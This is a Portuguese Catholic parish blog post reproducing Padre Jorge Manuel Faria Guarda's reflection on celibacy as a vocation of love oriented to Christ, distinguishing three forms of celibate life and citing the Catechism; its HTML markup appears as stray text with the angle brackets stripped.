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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

A vocação ao celibato é uma opção de amor orientada para Cristo.

terça-feira, 14 de agosto de 2018

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h4 style=text-align: justify;strongO celibato e o matrimônio são duas vocações diferentes, mas não contrapostas/strong/h4
p style=text-align: justify;O sexto mandamento da Lei de Deus determina guardar a castidade nas palavras e obras. O seu âmbito inclui também a descoberta do significado e do valor do celibato consagrado, e implica a sua vivência por aqueles que receberam um tal dom divino. Muita gente, hoje, não entende o celibato dos a href=https://formacao.cancaonova.com/vocacao/sacerdocio/a-igreja-catolica-nao-pode-ficar-sem-sacerdotes/ target=_blank rel=noopenersacerdotes/a e não acredita que eles o vivam fielmente. Isso acontece, certamente, por alguns o quebrarem ou o colocarem em dúvida; e outros nem sempre sabem testemunhar com a sua vida feliz. Ao mesmo tempo, parece não ser contestada a virgindade das religiosas e de outras mulheres consagradas a Deus. Não sei se esse estado de vida é realmente admirado por uma fatia significativa da sociedade. Pode acontecer que o grande valor dessa opção de vida não seja passado para as pessoas nem as interpelem./p
p style=text-align: justify;Há, entretanto, um outro fenômeno, na nossa sociedade, que contribui para dificultar o reconhecimento do valor do celibato consagrado: o alastrar do número de pessoas, homens e mulheres que vivem solteiros por motivos de independência pessoal ou dedicação a uma causa da qual se apaixonam e absorvem. O desinteresse pelo casamento pode também ser motivado pela falta de atração pelo outro sexo, por não acreditar no casamento, por alguma imaturidade ou pelo a href=https://formacao.cancaonova.com/igreja/catequese/como-o-adolescente-pode-vencer-o-medo-de-se-confessar/ target=_blank rel=noopenermedo/a de assumir compromissos definitivos. Nessas motivações, vem a dificuldade crescente de estabelecer relações afetivas maduras e estáveis por parte de muitas pessoas./p
p style=text-align: justify;Que diferença há entre a vida cristã no celibato e essas situações humanas, escolhidas ou involuntárias? A forma exterior de vida pode ser semelhante, mas são bem diferentes a motivação, o a href=https://formacao.cancaonova.com/igreja/catequese/voce-sabe-que-o-o-amor-de-deus-e-o-espirito-santo-em-nos/ target=_blank rel=noopenerespírito/a e a finalidade./p
p style=text-align: center;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/08/01.pngimg alt=01 src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/08/01.png width=729 height=543 //a/p
p style=text-align: center;Foto ilustrativa: Paula Dizaró/cancaonova.com/p

h3 style=text-align: justify;Podemos distinguir três formas de viver o celibato por parte dos fiéis cristãos:/h3
p style=text-align: justify;Quando o fiel cristão descobre, na sua situação de solteiro, um apelo de Deus e o aceita de livre vontade, a sua vida celibatária pode tornar-se vocação assumida e valorizada. A pessoa pode, então, como diz o Catecismo da Igreja Católica (CIC), passar a viver “a sua situação no espírito das bem-aventuranças, servindo a Deus e ao próximo de modo exemplar” (nº 1658). Essa forma de a href=https://formacao.cancaonova.com/series/caminho-espiritual-e-as-moradas/o-que-sao-terceiras-moradas-da-vida-espiritual/ target=_blank rel=noopenervida/a pode não ser definitiva, e a pessoa ser chamada ao matrimônio em qualquer idade./p
p style=text-align: justify;Assumem, de forma definitiva, o celibato pelo Reino dos Céus os que consagram totalmente a sua vida a Deus e, por isso, renunciam ao casamento. A sua opção resulta da percepção do amor de a href=https://formacao.cancaonova.com/igreja/catequese/conheca-e-entenda-os-cinco-defeitos-de-jesus-cristo/ target=_blank rel=noopenerCristo/a e do seu chamamento, correspondidos positivamente numa relação crescente de amor para com Ele. Nesse caso, a motivação para o celibato é teológica e carismática, é uma graça divina que a pessoa acolheu e a qual correspondeu livremente com a entrega total de si mesma a Deus./p
p style=text-align: justify;Outra forma é o celibato sacerdotal. Esse, em certo sentido, une as duas formas anteriores: por um lado, resulta da circunstância de a pessoa sentir a vocação para o ministério sagrado; por outro, corresponde a uma entrega de si mesma para o serviço do Reino de Deus. A motivação é acentuadamente apostólica, mas fundamentada em razões teológicas e carismáticas. Diz o a href=https://formacao.cancaonova.com/igreja/doutrina/por-que-devo-estudar-o-catecismo-da-igreja-catolica/ target=_blank rel=noopenerCatecismo/a: os ministros sagrados “chamados a consagrarem-se totalmente ao Senhor e às suas coisas dão-se por inteiro a Deus e aos homens. O celibato é um sinal dessa vida nova, para cujo serviço o ministro da Igreja é consagrado; aceito de coração alegre, anuncia de modo radioso o Reino de Deus” (nº. 1579; cf. 1599)./p

h3 style=text-align: justify;Vocação ao amor e à comunhão/h3
p style=text-align: justify;Como o matrimônio, também a vida celibatária é a concretização da vocação ao amor e à comunhão a que todos são chamados. Respondendo a tal vocação inscrita no seu próprio ser, a pessoa humana realiza a sua condição e dignidade de imagem e semelhança de Deus, que “é a href=https://formacao.cancaonova.com/atualidade/comportamento/para-nos-recordar-das-coisas-que-ja-sabemos-sobre-o-amor/ target=_blank rel=noopeneramor/a e vive em si mesmo um mistério de comunhão pessoal de amor” (CIC, 2331). Não pode haver opção celibatária que não seja motivada pelo amor a Deus e ao próximo. Mesmo na primeira forma acima apontada, se a pessoa assume a sua condição como vontade de Deus, não pode deixar de orientar a sua vida pelo amor, abrindo-se a uma relação sempre mais profunda de comunhão e serviço./p
p style=text-align: justify;Sendo resposta à vocação ao amor, a vida celibatária não significa menosprezo nem visão negativa da sexualidade. Esta, como afirma o Catecismo, “afeta todos os aspectos da pessoa humana, na unidade do seu corpo e da sua alma. Diz respeito, particularmente, à afetividade, à capacidade de amar e procriar, e, de um modo mais geral, à aptidão para criar laços de comunhão com outrem” (CIC, 2332). Escolhendo o celibato, a pessoa renuncia a uma forma de viver a a href=https://formacao.cancaonova.com/afetividade-e-sexualidade/sexualidade-humana-existe-uma-ordem-para-vive-la/ target=_blank rel=noopenersexualidade/a, para se entregar a Deus “com um coração indiviso” (CIC, 2349). Sublima o impulso e a energia sexual, dando-lhe outro significado e finalidade, para uma fecundidade espiritual. Como Cristo, também “o Celibatário” entrega o seu corpo, e todo o seu ser, por amor a Deus e em favor dos homens. Nesta doação total, por um amor oblativo, vive a castidade própria da sua condição./p

h3 style=text-align: justify;Opção de amor/h3
p style=text-align: justify;O celibato, como o matrimônio, implica uma vida de relação com os outros e não de solidão, é caminho para a maturidade e não privação. É expressão de uma doação de si mesmo livremente decidida e não resultado de qualquer frustração ou desengano na relação afetiva. Também implica uma certa vivência da sexualidade: não na união física, nem na autossatisfação narcisista ou na procura do prazer recíproco e na expressão de afeto mútuo, mas na sua sublimação espiritual mediante o domínio de si mesmo. Essa liberdade pessoal é condição para fazer de si uma doação total e definitiva a Deus, suscitada pela graça que d’Ele recebeu. O celibatário renuncia: “à intimidade física em ordem a uma mais perfeita disponibilidade”; “ao calor humano de uma a href=https://formacao.cancaonova.com/familia/pais-e-filhos/como-ser-um-bom-pai-de-familia/ target=_blank rel=noopenerfamília/a, para se tornar pai ou mãe da humanidade”; “à continuação da vida nos próprios filhos para uma vida que não tem fim, a vida de Deus nas pessoas” (E. Pepe)./p

h3 style=text-align: justify;A vida no celibato é uma opção de amor/h3
p style=text-align: justify;A vida no celibato é, portanto, também uma opção de amor, mas orientada para Cristo. A pessoa doa-se a si mesma, não a uma pessoa de outro sexo com a qual estabeleceu vínculos de afeto, mas a Cristo no qual crê e pelo qual acredita ser amado. A sua entrega significa o assumir de uma vida que é renovada por Cristo e penetrada pela força do Espírito. A pessoa doa-se em todo o seu ser, também na dimensão física, mas o faz de forma diferente da que é vivida no matrimônio./p
p style=text-align: justify;Há um texto muito sugestivo de Chiara Lubich que fala da castidade como o “dilatar o coração segundo a medida do coração de Jesus”. Fazendo assim, a pessoa empenha-se em amar cada irmão ‘como Jesus o ama’. A isso a autora chama a “castidade de Deus”. Escolhendo o celibato por ter sentido o grande amor de Cristo por ele, o fiel cristão esforça-se por viver o amor à maneira e segundo a medida de Cristo. Para ele, o amor a Cristo e aos irmãos constituem um mesmo e único amor. E trata-se sempre de amar por Jesus, por uma graça que vem d’Ele. É um amor a todos, universal, mas vivido na a href=https://formacao.cancaonova.com/familia/pais-e-filhos/adocao-e-um-ato-de-doacao-que-vai-alem-amor/ target=_blank rel=noopenerdoação/aum a um, isto é, àquele que encontro, que passa pela minha vida. Está aqui a originalidade do amor na pessoa celibatária, que é diferente, portanto, do amor conjugal. Esse passa sempre pelas expressões humanas da sexualidade e da ternura./p
p style=text-align: justify;strongspan style=font-size: 1.17em;Gerar a vida na dimensão espiritual/span/strong/p
p style=text-align: justify;A doação livre de si mesma ao outro, fielmente, como Jesus ama, é o que torna o amor puro e casto, tanto na pessoa casada como na celibatária. Na primeira, as expressões físicas do amor não o degradam; na segunda, não precisa tolher o coração nem reprimir o amor, pois encontrará sempre expressões belas para amar o seu próximo, de forma concreta e sensível. No primeiro caso, o amor une sempre mais quem o vive e estreita os vínculos entre as pessoas. É vivido na doação e acolhimento mútuos. No celibatário, o amor não prende, mas liberta, é vivido na generosidade e no desapego, torna a pessoa dom para os outros sem esperar a compensação./p
p style=text-align: justify;O amor do celibatário há de ser também fecundo, gerar vida não no sentido físico, mas na dimensão espiritual. Mediante o amor, o celibato gera a vida de Jesus nas almas que encontra, cria vínculos espirituais com as pessoas e pode mesmo exercer uma paternidade espiritual, fazendo com que tais pessoas se sintam regeneradas, recebendo uma nova vida: a de Deus. Desse modo, enriquece também a a href=https://formacao.cancaonova.com/igreja/catequese/homens-escolhidos-para-estar-a-servico-de-toda-a-humanidade/ target=_blank rel=noopenerhumanidade/a, contribui para o seu crescimento qualitativo e espiritual./p
p style=text-align: justify;Quem é chamado ao celibato, consagrando a sua vida a Deus, faz a renúncia à vida de casado. Cumpre, quase à letra, a palavra de Jesus: “Qualquer de vós que não renunciar a tudo o que possui, não pode ser meu discípulo” (Lc 14,33). Renuncia à sexualidade genital, à relação de afeto com outra pessoa, à paternidade ou maternidade biológica, a constituir a sua família, desapega-se de tudo e de qualquer pessoa, para seguir Cristo mais de perto e viver uma comunhão especial com Ele. Mas dessa relação, no Espírito Santo, pelo amor, há de surgir uma nova família, a fraternidade cristã, que pode adquirir múltiplas formas e que se traduz na vida da comunidade cristã, na sua variedade. Se não gerar a comunidade dos filhos e filhas de Deus, o celibato fica infecundo. Sem a paternidade ou maternidade a href=https://formacao.cancaonova.com/series/caminho-espiritual-e-as-moradas/como-deus-pode-nos-ajudar-na-construcao-da-vida-espiritual/ target=_blank rel=noopenerespiritual/a, o celibatário corre o risco de ficar estéril e viver a sensação de perda, de frustração, de estar incompleto, de não atingir a plenitude./p

h3 style=text-align: justify;Liberdade pessoal/h3
p style=text-align: justify;“Bem-aventurados os puros de coração, porque verão a Deus” (Mt 5,8). O celibatário, que assume a sua vocação livremente e a vive fielmente numa doação incondicional a Deus, no amor e no serviço generoso aos irmãos, experimenta realmente a felicidade e “vê”, verdadeiramente, Deus na sua vida. Deixou tudo pelo Senhor e nada lhe falta. Renunciou a constituir uma família e vive rodeado de irmãos e irmãos, de a href=https://formacao.cancaonova.com/familia/pais-e-filhos/paternidade-na-construcao-de-filhos-fieis-honestos-e-justos/ target=_blank rel=noopenerfilhos/a e filhas, numa grande família espiritual reunida no amor de Cristo./p
p style=text-align: justify;A sua vida é muito diferente da de muitos solteiros de moda, centrados em si mesmos e nos seus prazeres, gerando e gerindo a solidão, que produz um vazio de alma e tédio. Viver em celibato, conservando a castidade do coração, exige esforço para corresponder à graça da própria vocação. É preciso, antes de mais, cuidado em manter e consolidar a liberdade pessoal, para amar sempre mais, mantendo a vigilância sobre todas as situações que a podem pôr em causa. E, face aos limites e falhas, o celibatário há de abraçar a cruz e recomeçar no empenho pela fidelidade no amor. A a href=https://formacao.cancaonova.com/espiritualidade/o-pecado-e-uma-ruptura-da-nossa-relacao-com-deus/ target=_blank rel=noopenerrelação/a com Deus, sempre mais profunda, cultivada na oração, e uma sadia comunhão fraterna ajudam muito a manter-se fiel na própria entrega de amor./p
p style=text-align: justify;O celibato e o matrimônio são duas vocações diferentes, mas não contrapostas. Celibatários e casados, felizes na sua vocação, deverão constituir estímulo e ajuda uns aos outros, partilhando o próprio dom, reconhecendo e estimando o dos outros, numa comunhão eclesial operada pelo a href=https://formacao.cancaonova.com/igreja/catequese/qual-e-o-significado-batismo-no-espirito-santo/ target=_blank rel=noopenerEspírito Santo/a./p
p style=text-align: justify;Padre Jorge Manuel Faria Guarda/p
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